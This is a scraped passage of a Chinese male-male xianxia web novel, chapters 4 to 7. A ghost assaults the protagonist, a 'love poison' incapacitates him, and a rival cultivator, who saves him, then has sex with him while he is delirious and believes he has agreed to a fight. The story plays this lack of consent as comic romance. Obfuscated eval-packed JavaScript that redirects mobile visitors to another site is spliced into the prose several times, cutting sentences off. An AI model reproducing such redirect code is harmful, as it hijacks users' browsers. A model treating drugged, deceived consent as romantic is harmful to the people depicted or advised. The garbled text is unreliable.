再往下,就是一张素净的脸,五官寡淡,却素极生艳,只是眼球乌黑,看不到一丝眼白,瀑布般的黑发链接着地上密密麻麻的枝桠,整个人活脱脱像是从地里长出来的。 虽然这哥们留着一袭秀发,穿着打扮也像个女子,但胸肌发达,声音格外粗旷。 “为,为什么要走,留下来啊,留下来陪我啊。好不好。” 宴焱竟从他非人的面目上读出了‘媚眼如丝’的表情,登时激起一身鸡皮疙瘩。 方才被万掌追杀时他没怕,现在倒是有些后知后觉的毛骨悚然。 太阴间了,一个男子,怎么能发出这样的声音,做出这样的表情。 冥界不入轮回的魂灵无数,但大多数都是没有神智的野鬼,见光就跑,见阴就藏,浑浑噩噩的,连句完整的话都说不出来,更别提凝成实体了。 但魂灵一旦有了修为就不可同日而语了,眼下他遇到这只魂灵,能举全森之力、亦能凝成如此生动的实体,恐怕实力要位同元婴! 况且这东西行动如此诡异……简直恐怖如斯! 思即此,宴焱心下一沉,握着鞭柄的手骤然收缩,手腕蓄力。就等魂灵再次发难之际,瞄准间隙,铤而走险再击要害,同他搏上一搏! 可这位兄台也不知作何打算,竟然更进一步,将另一只手也环住了宴焱的脚踝,与此同时,还将冰凉的脸贴了上去,蹭了蹭。抬眼,讨好道: “香香的,人,喜欢你。想和你生蛋呀。” 一面说着,一面手往上攀了几寸,变本加厉的双手扣住宴焱瘦削的腰肢,不由分说的往下按了按,眼见着要把宴焱往怀里揽。 感受到腰间一片冷腻冰凉,宴焱如遭雷击。别提什么反击了,连握着鞭子的手都不稳了。 “你看清楚,我是男的!!!男的!!” 魂灵眨巴眨巴眼睛,似乎不明白宴焱在崩溃什么,但不一会儿,他又开心的笑了。 “你,男的,我,男的,般配!” 他说完这话,仿佛还觉得给宴焱打击不够似的,又撒娇道:“转过去,一下下,马上就好了呀。” 宴焱虽然不懂什么叫做转过去,但是潜意识告诉他,绝不能顺了魂灵的意。 他强撑着,奋力摆脱魂灵的桎梏。但这魂灵不知是吃什么长大的,力大无穷,任凭宴焱如何使劲都逃不开一寸。 好死不死,一直别在宴焱腰间的系统忽然在这时候悠悠转醒了。 它睡眼惺忪的睁开眼睛,嘴里大喊:“红颜!红颜奖励到了!宿主,我们有救了!!” 系统醒来时心里喜滋滋的,想着不愧是龙傲天,区区一会儿就有红颜情缘了,真是给力! 待系统激动的定睛一看,就见它亲爱的、英明神武的宿主正在和一位长发飘飘的‘女鬼’紧紧相偎,红衣半颓,青丝交缠,气氛暧昧至极。 偏偏这姿势还怪奔放的,宿主被强硬的掐着腰,被迫背对着‘女鬼’,表情略显狰狞。 “哇唔~好生狂野的姑娘!” 系统不明觉厉。 这就是男主的红颜知己吗?如此奔放热情,果然不同凡响! “系统!!!快发放奖励!” 宴焱眼见系统转醒,还以为有了一线转机,奋力挣扎着探出只手。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258154|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 系统却把眼睛一闭,选择对宴焱的苦难视而不见,扇了扇短翅,猥琐的念叨着: “嘿嘿我什么都没看见~宴哥你艳福不浅啊,继续继续~” “系统!!没和你闹着玩!” 宴焱察觉到魂灵愈发嚣张的动作,逐渐崩溃,从牙缝里挤出字句。 “诶呀,宴哥你别总是这么抗拒情缘嘛,读者老爷们最爱看这样的情节了,你就闭上眼享受享受,读者爽了,大把的奖励不是马上就来了嘛……” 顺直脑系统得意的晃着脑袋,一番话振振有词、抑扬顿挫、有理有据,一副真情实感为宴焱着想的模样。 魂灵的动作很快,指尖已经勾到衣带。只要轻轻一用力,就可把可怜单薄的衣衫卸下。 宴焱着衣向来图轻便,所以内里中衣也没有仔细选择厚实的,随意勾了件单薄的就穿上了。反正他一介男子,也不拘小节。 可不拘小节此刻却害惨了他,中衣单薄,遮不住什么,雪肌薄骨,红枝颤颤,反倒更显欲拒还休。 “睁大你的狗眼看清楚!他是男的!!” 宴焱忍无可忍。 他一面要阻止魂灵扒他衣服的动作,一面还要痛斥是非不分的系统,一时间心力交瘁。 系统这边还在嘟嘟囔囔的和宴焱讲道理,一听这话,差点把舌头咬了。 “男、男的?!” 它不信邪的仔细瞧了瞧那魂灵,却见那张妩媚的脸底下的喉结又大又粗,胸肌发达得要把它家可怜宿主挤死了,宽阔的脊背,虬结的肌肉块,分明就是个男子的模样! 顺直系统登时震惊了,哆哆嗦嗦道,咬字都不清楚了: “哇靠!同性念!” 它也是男频里根正苗红的系统,自然对这种情况一点经验也没有,不大的脑瓜还在消化着眼前诡异的一幕。 下一秒,它才回过神来,惊叫一声,凄厉的扑上了魂灵,用翅膀奋力拍打:“放开我家宿主啊啊啊啊!” 但可惜的是,系统无法对世界的其他实体造成任何损害,只是徒然折损宴焱本就紧绷的神经。 “奖励呢?” 宴焱还在负隅顽抗,又不依不饶的转头询问系统。 “发了……”系统崩溃。 “在哪呢??”宴焱追问,心里隐隐有种更不好的预感。 果不其然,倒霉是没有尽头的,宴焱的耳畔骤然响起系统崩溃的回答。 “这个奖励是情毒七日,本来就是福利剧情的助燃剂……” “需要那个啥才能解开。” 似乎在响应系统的话,一股热潮骤然涌起,宴焱后颈腻出一片细汗,肌肤上灼开艳色。 宴焱白皙的面颊也腾上红云,腕间随之一抖,眼睁睁的看着自己力道被卸去大半。 他爹的…… 宴焱的意识摇摇欲坠,仅存的意识几近崩溃。 这还是男频吗?! 5. 第 5 章 宴焱目中景色模糊不清,腿脚疲软,握着鞭柄的手止不住的颤抖。 溟察觉到宴焱的焦灼,尾巴一甩,缠上了宴焱的小臂,担忧的嘶叫了两声。 魂灵倒是喜笑颜开,还以为宴焱欲拒还休的戏码要演完了呢,开开心心的就要继续他的大事。 眼见软玉温香盈怀,衣衫半褪,就要露出半边雪白的肩头。 宴焱还撑着微弱的一点意识,一字一句道: “别、碰、我。” 魂灵哪会依他的话。 他勾住宴焱匀净的指节,玩儿似的拉了拉。整个鬼身又冷又硬像个冰块,体型也大,却没点数,和座小山似的就要欺压而上。 就在这时,一道狠戾的剑影凌空闪过,‘铮’的一声,剑身径直钉入魂灵的肩头。 魂灵痛苦的哀鸣出声,肩头迅速迸出鲜艳血色,血涌如注。 绕是如此,他扣着宴焱薄肩的力道丝毫不减,甚至将头偎在宴焱的肩头,可怜的哀叫着。 “还不松手!” 剑应声拔出,来人一伸手,重新握住剑柄,长剑一抖,微偏一寸,径直冲着魂灵的要害丹田处袭去!剑势凌厉,赫然伴随如刀罡风。 魂灵察觉危险,侧开分厘,就要躲避。宴焱抓住这难得的罅隙,一屈膝,狠狠的顶撞而上。 前后夹击之下,魂灵左右顾及不得,扣着宴焱的力道一松,眼睁睁的瞧着宴焱甩脱自己的掌心,向下摔落。 魂灵急切的叫了声,驱使着枝桠去扶,溟也蓄力相接。 可有人比他们都快。 宴焱只感觉腰间一热,是一只温热大掌把掐住了腰侧,青筋浮起,有力的小臂一托,便将人稳稳的扶住。 耳边响起一道陌生的问候。 “道友可无碍?” 与此同时,系统也开始高声尖叫。 “云梧,是云梧!!啊啊啊啊啊怎么就这么遇见了??” 宴焱一怔,借力稳住身形,站定,这才抬眸望去。 来者一袭窄袖劲装,玄衣仙骨。昏暗的月光绰绰,越过重重虬枝,落在青年剑客的肩头。他身型颀长,肩宽腰窄,薄薄的玄衣之下是虬结的肌肉,正有力的绷紧着。 此时他正关怀的望向宴焱,长睫垂落,直鼻挺拔,墨瞳像一滩冷水。 只是眉眼走势凌厉,颌线隐隐绷紧,离得极近,能听到他清浅的呼吸。 ——长剑横九野,高冠拂玄穹。 像只蓄势待发的猎豹。 宴焱心里骤然升起一股胁迫感,眯了眯眼。后退半步,挣脱他的搀扶,低声道:“多谢相助。” 形势紧迫,云梧只是略微一颔首,算是应了宴焱的谢了。 再一抬手,如虹长剑便落回他的掌心,他旋即一拧腕,月色映下,剑刃寒芒烁烁,朝着魂灵又冲了过去。 魂灵的目光一直死死盯着云梧掐在宴焱腰侧的手上,见云梧又冲了过来,怒极,长啸嘶吼一声,转而也冲着他奔袭而去。 枝桠如潮水般涌起,尖细枝头像是整齐排列的银针,密密麻麻的刺来,带着十成的力道,企图将人万枝穿心。 但云梧的动作很快。 剑身掠出残影,惊鸿剑法裹挟万势,剑刃干脆利落的斩落了粗大的枝干,断枝纷纷跌落地面。 魂灵落入颓势,云梧没有给他重新筑起防御的机会,他并指捏诀,将罡气注入剑身,凌厉的寒剑刺破重重枝桠,势如破竹,直冲魂灵要害处而去! 随着一声哀叫,寒剑精准无误的刺入丹田之中。 魂灵捂着受伤之处,扑通一声跪地。 世人皆知蜀山剑宗少宗云梧的箐云剑乃是上古陨铁铸成的玄剑,寒气异常,被刺中的妖物鬼怪都难逃身死道消的命运。 被剑身刺中的地方破开一道大口,边缘呈淡灰色,像是燃烧秸秆时受火处的灰白,速度很快,一会儿的功夫就扩开一大片,从腰腹处逐渐蔓延上脖颈、直至面颊。 魂灵猛的吐出口血,但眼神还是直勾勾的盯着宴焱的方向。 这次他说的话语连贯多了。 “我还会来找你的。” 说罢,魂灵全身像是被戳开的泡沫,怦然消散,留下一串飞舞的尘屑,在月光下轻轻晃荡。 狰狞狂舞的万树也随之停止了动作,定在原地。 森林终归寂静。 箐云剑铮然一声落入玄铁鞘中。被打散的不过是一介分身,魂灵的本源不知藏在冥界的哪个角落,但云梧无暇顾及本体,而是快步朝着宴焱的方向走来。 剑修身形壮硕,又比宴焱高了小半个头,此时宴焱无力的半倚树干。云梧走近时,能清楚的瞧见他因毒气纷扰而不安颤动的长睫。 他心下一动,问道: “道友可是中毒了?” 他此次来冥界是为了一计能助他突破金丹大圆满的药,名唤万年魂莲,却不想万年魂莲的守护灵实力比想象中的强劲,这才拖延到了晚上。 云梧一贯不管闲事的。 他路过寒森听见这番响动,本来只是抱着观赏的态度瞧瞧这散修的身法。 但或许是今晚的月色实在醉人,他的心情也好,瞧着这魂灵如同恶霸般要掐住那段腰肢,云梧心里就无端端的涌起一股火,最后还是出了手。 云梧身上有股难以描述的香味,像是阳光曝晒后的草木香,沉沉的,又极为浓烈。离得近了,便近乎压迫性的灌入宴焱的鼻喉。 宴焱一直一言不发,听了云梧的询问,抬起眼帘,气弱的应了声。 系统一直在他耳边尖叫,崩溃大吵着叫他快逃。 “万年魂莲怎么也被他摘了??!!这下坏了,宿主,我们完蛋了!你现在打不过他的,绝对打不过他……呜呜呜我可怜的宿主,刚出狼窝又入虎穴,这可怎么办呀!” 天道深谙制衡之道,宴焱从系统那知晓他们二人只有一人能活,难保不齐云梧也会知道这些,先出手将他斩杀。 逃? 怎么逃? 宴焱疲累的闭上眼,热气不受控制的弥漫而开,肩颈处也一片薄红,脊背腻上湿汗,发丝打绺,落在鬓旁。 他境界本就落下云梧一大截,正是受困之际,又中了情热。如果云梧认出了他,此时出手,他怎么逃得掉? 系统也想到了这茬,抽噎两下,忽地又开始宽慰起宴焱。 “没事宿主,我们该藏就藏,要是被认出来……那就往好处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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云梧已经思量好了,他们二人这才刚刚相识,如果直接开始颠鸾倒凤实在是有点进度太快,他云梧不是这么随便的男人。要是另有他法解开情毒最好,如果没有,自己就会严词拒绝直接双修,而是替他找一些丹药,如果再找不到,那就那就…… 反正他云梧不是这么随便的男人! 就在这时,宴焱忽地开口了,只是声音极弱,打着飘,云梧听不真切。 但云梧早已料到了宴焱要说什么,零帧起手开始拒绝: “不行,不能直接双修!” 宴焱虚虚抬起眼皮。 宴焱:? 宴焱又重复了一遍: “劳烦把我放入往生河里……” 话音未落,云梧这次脸都红透了,义正言辞道:“道友!水里更不可以!!” 宴焱张开的唇齿迟疑了一瞬,心里一慌,就怕云梧是识破了他的身份,但还是坚持把话说完了: “河里冷,我自行冷静一下就好。” 云梧还在摆手拒绝。 云梧默默把手放了下来。 “哦,啊,是,是个好法子,哈哈,我怎么没想到呢,还是道友聪敏。哈哈,哈。” 6. 第 6 章 云梧沉默的低下头,一手抄过腋下,扶着薄背,一手托着腰臀,掂了掂,便冲着河边御剑而去,颇带有落荒而逃的意味。 宴焱半靠在云梧结实的怀里,有点不自在,心中隐约觉得两男的这种姿势有些怪异。 算了,反正云梧绝对是直男。 小说世界观那么大,有一两个不重要的角色成了男同那也是可以理解的。 宴焱安慰自己。 作为另一本男频小说的主角,就算六界全是男同,云梧也不可能是男同。 这么一想,宴焱悬着的心彻底放下去,又不禁暗暗自嘲,自己是被刚刚的男同吓得脑子都不好用了,疑神疑鬼的。 都是男修,公主抱一下怎么了? 剑修常年练剑,身材一个赛一个的好。云梧身为天生剑骨似乎连修体都占了几分优势,坚硬的肌肉轮廓抵在宴焱的面庞,微微挤溢开一点儿软肉。 确实练得不错。 大抵是肌肉太过显眼,宴焱不得不承认对手的优点。 说不羡慕是假的,宴焱一开始也是吃了人设的亏,阴暗逆袭流男主大多配置一副病怏怏的外貌。 皮肤白也就算了,本来宴焱靠着剑修的身份还是能练成些许肌肉的。但很可惜,一朝剑骨毁,连带宴焱的肌肉梦也没了。 这些日子他都在闭关清修,突破灵体的筋络限制,命都顾不得,哪还练什么体呢?一来二去之下,原本的薄肌也消失无踪,融化成一块扁平雪白的肚子。 宴焱木着脸,叹了口气。心下决定自个日后定要多加练体。 云梧御剑飞行的速度倒是很快,一会儿就到了一处小溪。 溪水浅浅,清可见底,细小的水流越过石块,拍打而下,溅起细白的水花。 宴焱收束思绪,入了水后嫌弃红褙碍事,便把身上的衣服胡乱扒了扒,也不见外。 反正在场就云梧和他两个大男人,有什么好避嫌的? 秉持着这样的念头,宴焱扒衣服的动作弧度又大了些,企图让更多的冰凉浸没肌肤,浇灭全身的燥热。 在他暴力的撕扯之下,外袍骤然滑落,堆叠于雪白臂弯。中衣本就轻薄,沾了水,便腻在肌肤之上,勾出漂亮的曲线。 ——瘦削的一笔腰肢,往下又勾出一道起伏的腰臀轮廓。可再向下,骤然隆起的丰腴却被层叠布料遮得严严实实。 宴焱动了动,在溪里掬了把水,晶莹的水珠从面庞滚落,一路从尖细的下巴跳落至肩颈,又调皮的划过粉嫩的茱萸,落入窄腰之下。 云梧只想扫一眼,看看他有没有事。但扫了一眼后,又止不住的扫了第二眼,第三眼…… 湿身,发/情,还弯腰,差一点点就能看到巧嫩的起伏了。 喘成这样。 还说是想自己冷静呢……勾引就勾引,被救下后以身相许也不是什么大不了的事情,正常得很。 他云梧也不是什么不通情达理之徒,但对于订下道侣契这样的大事还是有点条件的,起码要三书六礼,高堂皆许,才能行房事。 简简单单就把自己交代出去的男人是不会被珍惜的。 云梧一面仔细盘算,一面运气捏决,把丹田处莫名其妙骚乱的灵气流压下。 察觉到宴焱不经意间扫过的目光,云梧连忙偏头,假装哼曲看星星。 这点小伎俩是左右不了他云梧的! 冰冷的溪水果真有点用处,宴焱的神智清醒了点,盘算着现在的形势。 云梧眼下应该并不知晓二人是死敌。 云梧今日也的确是帮了自己的忙,虽说二人算是宿敌,但宴焱自诩坦荡落拓,这份情义他也会念着。 待日后再相见,一码归一码,还了这份情,再兵戎相见也不迟。 他偏侧一寸,躬身作揖,冲着岸边的云梧道:“多谢少侠。今日相救之恩,来日定当报还!” 云梧轻咳两声,整了整衣冠,道:“道友不必如此客气,这都是我身为正道子弟应该做的。” 这么说着,云梧又突兀的换了个站姿,腰间蜀山青龙螭纹佩格外晃眼。 蜀山剑宗乃六界第一宗门,宗内子弟向来是六界之中最为受欢迎的道侣人选,虽说云梧不大关心这些,但多多少少也是听过一些风言风语的。 ──诸如说剑修体格健壮,干活特别猛,前途又好之类的传闻。 宴焱的视线略带疑惑的落在云梧腰间的玉佩上,但还是耐住困惑,点了点头,继续泡水。 沉默。 忽然就沉默下来了。 云梧好像不甘心,又换了个姿势,靠在树旁,一手握剑抱胸,一手有意无意的拨弄着腰间玉佩。 “咳咳。” 一声超经意的咳嗽。 宴焱瞥了眼岸上的云梧。 剑修身体这么不好?这一会儿的功夫咳嗽这么多次。不应该啊。 但打探体质强健与否算是逾矩了,宴焱自然不可能开口去问。 还是沉默。 云梧又等了会,见宴焱还是自顾自的在泡水,衣服甚至越脱越少,笔直修长的双腿搅动着溪水,乳白肌肤嫩得晃眼。 怎么回事?怎么还不说话? 云梧焦躁的搅了搅玉佩穗带,张了张嘴,还是开口了: “在下师从蜀山剑宗。” 没头没尾,莫名其妙的一句。 宴焱抬头,看了眼云梧,不懂他想说什么。但出于礼节,还是‘嗯’了一声。 云梧期待的看向宴焱,似乎在等宴焱继续说点什么,但让他大失所望了,宴焱还是缄默着泡水运功,连目光也不给他了。 云梧:…… 难道是诱惑不够大? 也正常。他长得如此漂亮,定当是追求者无数,区区剑修当然不会让他动容。 但他云梧可不是普通剑修。 云梧整了整衣袖,清清嗓子,道:“在下幸蒙宗门长辈赏识,谋得一两个头衔,也不大。” 他一面说着,一面装似不经意的观察着宴焱的表情。又顿了顿,继续轻描淡写道:“不过是少宗主罢了。” 但凡在六界混过的,都多少听过蜀山剑宗少宗主的名头。 ——身怀九阳剑骨的天纵奇才,一引气入体就跨过了多少芸芸众生穷极一生无法跨越的炼气期,迈入筑基。随后拜师剑宗宗主门下,数年来越级斩妖魔,平四乱,是当之无愧、六界第一的天之骄子。 不少人断定,若不出意外,云梧定会成为这三万年来唯一一个飞升成神之人。 云梧这话一出,空气骤然缄默,宴焱像是怔了怔,抬头望向他,眼皮缓慢的眨动了下。 他的眼睑极薄,眼尾平滑的上滑,瞳仁黝黑,仔细瞧着人时,总能给人一种深情款款的错觉。 云梧一贯是不在乎世人冠于他的虚名,有人阿谀奉承时,也只是觉得不过时曲意逢迎,没什么好听的。 而今他却无端端的生出一股庆幸。庆幸自己这些年在外头的名声也算是好听,过得去。 “在下名唤云梧。” 云梧慢条斯理的理着窄袖,最后补了这么一句。 说罢,他便自顾自的又盘坐在树下,阖上眼皮,一副专心致志,入坐神定不受外界侵扰的模样。 但要细看,便能发觉他的眼皮分明是虚虚闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258156|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,还在留神宴焱的动向。 宴焱愣了几秒,许是情毒尚在折腾着他,思维迟钝了很多。 这哥们怎么忽然开始自我介绍了? 好突然。 秉持着礼尚往来的念头,宴焱还是同他颔首。但留了个心眼,意恐云梧听到他的真名察觉不对,报了个假名。 “我叫阿火。” 云梧闻言心念一动。 阿火,阿火,听着就悦耳,火红是极艳的色泽,人儿也是艳的,灼灼生绮,叫人心头烧热。 宴焱说完这话,见云梧似乎开始盘腿坐定,也不好过多叨扰,毕竟多说多错。于是又静下心,继续抵御体内沸腾的情毒。 云梧虚闭着眼,左等右等,还寻思着阿火怎么组织措辞这么慢。 一分钟,没说话。 两分钟,没说话。 三分钟,还是没说话。 云梧耐不住了,偷偷睁开一只眼,迅速的瞄了一眼。 却见宴焱还是端坐水中,一张美人面不为所动,一点儿也没开口说话的意思。 云梧这下坐不住了,咬了咬牙,想干脆闭眼也修炼一二,把刚刚吸收的万年魂莲炼化干净。可一股烦躁的气扰得他怎么也静不下心。 他只得又睁开眼,干巴巴的瞪了眼月亮。 都怪今晚的月色太丑了!害得他心情如此不好。 宴焱还在专心致志的浸泡于冰寒溪水中,但溪水即使能解当下之急,终也不能掐灭源头。况且男频出品的情毒名不虚传,质量杠杠的,怎么尽力压制都是徒劳,只会积蓄得更狠。 遇到了男主,这情毒的效果更是翻倍的好,就巴着男主找人把火泄了。 先前发作的情毒顺着经络攀进丹田之处,宴焱咬牙,着力将它们凝聚成弹丸状,好寻个出处排掉。 可情毒顽固,一直留存于经脉中不走,壅塞不通,宴焱运起的气流碰触到它们不但不剥落,甚至有更加融入血水的趋势。 又是一击,宴焱使力,企图让灵气成刃,剜下沾粘的情毒! 但—— “噗”的一声。 宴焱突兀的吐出一口血。 云梧本来还在端着架子,一见宴焱吐血了,登时把心里的小九九忘得一干二净,慌忙也跳下了水,行至宴焱跟前,把住他的细腕。 越来越烫了。 云梧的眉头骤然皱紧,心叫不好。 宴焱的全身好像有团火在灼烧,烈烈不息。这情毒比云梧想象中的还要厉害,无孔不入,钻进了四肢百骸。 宴焱原本就已经是强弩之末,他这一招釜底抽薪不但没能彻底的摧毁情毒,反而雪上加霜,把火演变成了燎原之势。 情毒从丹田之中蔓延而开,袭卷了身上的筋脉。一下子爆发开,撺掇着脆弱的神经。 若是拖久了,怕是会有后患…… 云梧攀扶着宴焱腰间的手一紧,喉头发干,目光落在宴焱绯红一片的面庞上,又游移不定的往下探了探,掠过沾了水的薄肩,匆匆收回眼。 触碰着柔韧白腻的细肉,指尖隐隐发烫。 宴焱也察觉自己的情况越发糟糕,难耐的吐了几口气,滚烫的气流喷洒在云梧的胸膛前,细密又酥麻。仿若还带着宴焱身上特有的清香…… 扑通、扑通。 心脏以一种前所未有的速度在蹦跳。 情况险峻,意识到自己要开口说些什么时,云梧的舌尖都有点发颤了。 他也喘了几口气,呼吸粗重,声音暗哑,倒像是他也染上情毒了: “阿火,眼下怕是没有其他办法了。” “我们……双修?” 7. 第 7 章 云梧从未觉得自己如此紧张过。 他忐忑不安的张了张唇,想苍白的补充些什么。 譬如自己并非图谋不轨,实在是情毒太阴险,若是不能早些除去会伤及根本;又或是同他说,若是情毒解决后自己也愿意负责之类的。 但不知道为什么,云梧的脑子一片空白,什么也说不出口。 他只是徒劳的盯着宴焱饱满的唇瓣,企图从抿起又张开的唇齿间窥探出些许答应的迹象。 宴焱已经被烧迷糊了,但还是强拧着意识,仔细去听云梧一张一合的在说些什么。一听到双修二字时,思绪一顿。 双修?和谁? 他和云梧? 什么意思,是他理解的那个双修吗? 于是宴焱求助的目光徘徊不定,又落在了一直暗暗潜伏的系统身上。 系统很识时务的滚了出来,仗着云梧看不见它,在二人中间晃了晃,大大咧咧道: “宿主哇没关系的,肯定不是那种意思,你们两个大男人咋可能是那种双修。说不定是啥密法呢。” 一面说着,系统一面用翅膀扶了扶不存在的眼镜。 似乎是为了安抚宴焱被男同吓坏的心,它短翅一挥,在男频小说资料库搜索框里大大方方的打了几个字: 【两个男人的双修办法?】 透明屏幕很快跳出一行字迹: 【猜您要找:两个男人打架秘诀?如何打败宿敌?如何快速掌握敌人的弱点?】 “您看吧,估计就他操纵您打一架泻个火,把毒素排掉就好了!” 系统摇晃着脑袋,振振有词:“近战一场,说不定您就能察觉到云梧的弱点呢,对您以后击败他多有裨益啊!” “您就答应他吧!这可是个大好的机会!” 系统这番话说得有理有据。别的不说,它的资料库可是涵盖了所有男频小说呢! 那资料可谓是权威,如若是连资料库这么推测…… 那应该就是这个意思吧。 宴焱缓慢的眨动着眼皮,慢吞吞的想着。 他的脑中实在是昏胀一片,即使潜意识总觉得有哪里隐隐不对劲,但很快发作涌起的情毒还是淹没了宴焱的困惑,叫他只得重复着系统的那句话。 ——答应他。 于是,在云梧近乎要灼烧穿透的目光下。 宴焱缓缓的点了点头。 点头幅度很轻,连那声‘好’字也是从喉头里奋力挤出的,淡淡的,带着气音,听不真切。却又很重,化作重锤,一把子敲向了云梧。 ‘砰、砰、砰’ 是心跳的震潮。 云梧的手打着颤,缓慢的收紧了怀抱,点了点头,吐了几口气。视线珍重的踱过宴焱的眉眼。 大抵是情毒扰人,宴焱阖了眼,长睫垂落,安安静静的,叫他凌厉的线条也柔化三分,少了点执鞭时的锋利,多了几分平缓恬静。 湿濡的青丝在雪肌上攀爬蜿蜒,随着呼吸一起一伏,往下红褙半颓之地,白肤红豆,叫人心头滚烫。 红艳的唇瓣,渴水的微微张开,轻微的气流伴着吐息喷洒,撺掇着空气里的小火苗。 仿若下一秒,就有什么要嘭然烧开。 像是被烫着般,云梧飞快收回了目光,俊脸不知何时染上一层绯红,上挑的薄情眼却慌乱的四处瞟着,视线无处安放,手克制的扶着宴焱的腰肢,哑声道: “多、多有得罪。” 二十年来,云梧一直苦心修炼,除却私底下爱看点情话本子,对于情爱之事一贯不沾。甚至有同门调侃道云梧要和剑过一辈子。 云梧对这些风言风语一贯不以为意。 但他怎么也没想到,自己的情缘不是媒妁之言,也没有红烛艳床八抬大轿,而是以这样的一种方式展开。 可好像……云梧又悄悄地瞥了眼宴焱恬静的侧脸。 也还不错。 情毒急迫,云梧只好在附近寻了个隐秘的石洞。 冥界向来阴凉,石洞狭隘,两个成年男子一躲,愈发显得狭小,一点小动作便能碰到对方的手脚。 云梧取出储存戒中存放的干燥衣物,小心翼翼的铺在了地面上,又将人平放了上去。 大抵是因为动作幅度大了点,宴焱有点难捱的发出声轻哼,就要虚虚睁开阖着的眸子。 云梧还在低头解开衣衫,一听这声轻哼,手又是一抖。 今天的衣衫绳结打得格外紧,云梧手抖个不停,想挑开衣衫系扣,但反复尝试了好几遍,才扯开一层。 宴焱的脑子昏沉,朦胧间睁开眼,就看见云梧低着头,上半身赤裸,匀出一层薄汗,肌肉蓬张,只是手还在抖着,似乎要在自己的身上挑开衣物。 好新颖的打架方式。 宴焱思绪快要断片,只得有一搭没一搭的想着。 这就是蜀山剑宗吗,连密法都如此别致,居然还要赤身相搏。 轮到挑开宴焱身上衣衫的时候了,云梧一贯沉稳持剑的手更是颤得不成样,喉头滚了又滚,深深吸了一口又一口的气。 过了好一会,该解开的也解开了,云梧这才红着脸,低声道: “那我开始了。” “我、我会轻轻的。” 宴焱只听到了‘开始’‘轻’这类的字眼,眉头一皱。 笑话,既然是比斗相搏,怎么能说轻一点这样的话呢,这不是看不起他吗?! 大概是挑逗到宴焱身为龙傲天的自尊心了,他挣扎着开口:“不用、轻。” “越重越好。” 开玩笑,男子汉大丈夫,怎么能怕打架这种疼? 宴焱一直信奉吃苦才能见效,平时练习对自己也毫不手软,都是要一次次突破耐苦的极限,磨砺自己才能进阶。 若是每次都轻一点,每次都给自己留余地,哪里能有进步呢? 宴焱此话一出,云梧顿时愣住了,手中动作也一顿。 半晌云梧才回过神来,结巴着道:“好、好。你要喜欢……我就重一点。” 说完,云梧便低下头来,抿着嘴,心里又开始百转千回。 原来是重一点好么?自己倒是浅陋了。 怪自己之前只看情话本子里的内容,纸上得来终觉浅,确实是没什么经验,笨手粗脚的,若他是醒着的,定然会嫌弃自己不如他人吧。 也不知以前的人修为如何,长相如何,比不比得上自己。 连是‘轻’是‘重’都有讲究,想来应当是恩爱异常,才会有此结论的吧。 这么想着,云梧唇角的笑容也一点点落下去了,不知为何心头酸酸涩涩,麻麻涨涨的。 云梧心里憋着一口比较的气,暗暗想着要比前人更努力更‘重’一点才行,于是这一宿下来可谓努力至极,从话本里看的花招都使上了,不可谓不勤勉。 洞穴干燥,但今夜寒霜甚重,地面也濡开一片湿潮。 宴焱交代完云梧下手重些后,脑子发昏便睡了过去。 他只觉得自己做了一个极为溽热的梦,明明身处干寒的冥界,却如同置于炎热的酷暑。 身上隐隐有细密的汗,腻在脊背、腰部和双,腿间,叫他不住的辗转反侧,企图甩开那层湿汗。 洞穴外的梅花开了满枝,厚雪沉甸甸的压在单薄的枝头上,枝头不堪重负,晃了又晃,颇为狼狈,不知什么时候就会连枝折断。 寒潮来得突然,雪下了一夜,铺开一片厚重雪色。 这场近战果真是累人,宴焱觉得累极了·。 梦里的云梧打法狠戾,下手极重。或是宴焱此时境界不如他的原因,宴焱接招接得吃力。 云梧的那把玄铁寒剑剑身厚重,剑中起脊,稍不留神被寒剑挑中要害便是一阵钝痛。 很疼。 但一场战斗下来,也算是棋逢对手,打得酣畅淋漓,颇为爽利。 果真是个不错的对手。 宴焱在梦中仔细评价着云梧的剑法,想着不愧是蜀山剑宗的少宗,这手蜀阳剑法耍得就是畅快。 二人于梦中对决一夜,宴焱本来摆手说要休憩一二,但没料到梦中云梧不依,一拔剑,冷声说要再来。 宴焱是个自傲的,于是咬牙应下,即使酣战一宿身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258157|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酸软,还是鼎力相战。 梦里他们又在雪地中对战了两天,谁也不肯服谁,打到最后宴焱握着骨鞭的手腕都疲软了,却还是在苦苦坚持。 绝不能认输! 